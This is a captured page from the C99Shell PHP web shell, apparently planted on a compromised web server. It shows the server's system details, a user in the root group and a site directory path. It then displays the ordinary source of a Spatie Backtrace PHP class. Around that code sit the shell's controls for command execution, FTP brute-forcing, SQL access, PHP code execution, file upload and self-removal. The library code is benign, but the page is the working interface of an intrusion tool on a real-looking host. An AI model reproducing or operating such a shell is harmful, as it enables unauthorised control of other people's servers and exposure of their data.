!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/portfolio.picotech.app/public_html/vendor/spatie/backtrace/src/Arguments/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReduceArgumentsAction.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Backtrace\Arguments;

use 
ReflectionException;
use 
ReflectionFunction;
use 
ReflectionMethod;
use 
ReflectionParameter;
use 
Spatie\Backtrace\Arguments\ReducedArgument\VariadicReducedArgument;
use 
Throwable;

class 
ReduceArgumentsAction
{
    
/** @var ArgumentReducers */
    
protected $argumentReducers;

    
/** @var ReduceArgumentPayloadAction */
    
protected $reduceArgumentPayloadAction;

    public function 
__construct(
        
ArgumentReducers $argumentReducers
    
) {
        
$this->argumentReducers $argumentReducers;
        
$this->reduceArgumentPayloadAction = new ReduceArgumentPayloadAction($argumentReducers);
    }

    public function 
execute(
        ?
string $class,
        ?
string $method,
        ?array 
$frameArguments
    
): ?array {
        try {
            if (
$frameArguments === null) {
                return 
null;
            }

            
$parameters $this->getParameters($class$method);

            if (
$parameters === null) {
                
$arguments = [];

                foreach (
$frameArguments as $index => $argument) {
                    
$arguments[$index] = ProvidedArgument::fromNonReflectableParameter($index)
                        ->
setReducedArgument($this->reduceArgumentPayloadAction->reduce($argument))
                        ->
toArray();
                }

                return 
$arguments;
            }

            
$arguments array_map(
                function (
$argument) {
                    return 
$this->reduceArgumentPayloadAction->reduce($argument);
                },
                
$frameArguments,
            );

            
$argumentsCount count($arguments);
            
$hasVariadicParameter false;

            foreach (
$parameters as $index => $parameter) {
                if (
$index $argumentsCount) {
                    
$parameter->defaultValueUsed();
                } elseif (
$parameter->isVariadic) {
                    
$parameter->setReducedArgument(new VariadicReducedArgument(array_slice($arguments$index)));

                    
$hasVariadicParameter true;
                } else {
                    
$parameter->setReducedArgument($arguments[$index]);
                }

                
$parameters[$index] = $parameter->toArray();
            }

            if (
$this->moreArgumentsProvidedThanParameters($arguments$parameters$hasVariadicParameter)) {
                for (
$i count($parameters); $i count($arguments); $i++) {
                    
$parameters[$i] = ProvidedArgument::fromNonReflectableParameter(count($parameters))
                        ->
setReducedArgument($arguments[$i])
                        ->
toArray();
                }
            }

            return 
$parameters;
        } catch (
Throwable $e) {
            return 
null;
        }
    }

    
/** @return null|Array<\Spatie\Backtrace\Arguments\ProvidedArgument> */
    
protected function getParameters(
        ?
string $class,
        ?
string $method
    
): ?array {
        try {
            
$reflection $class !== null
                
? new ReflectionMethod($class$method)
                : new 
ReflectionFunction($method);
        } catch (
ReflectionException $e) {
            return 
null;
        }

        return 
array_map(
            function (
ReflectionParameter $reflectionParameter) {
                return 
ProvidedArgument::fromReflectionParameter($reflectionParameter);
            },
            
$reflection->getParameters(),
        );
    }

    protected function 
moreArgumentsProvidedThanParameters(
        array 
$arguments,
        array 
$parameters,
        
bool $hasVariadicParameter
    
): bool {
        return 
count($arguments) > count($parameters) && ! $hasVariadicParameter;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--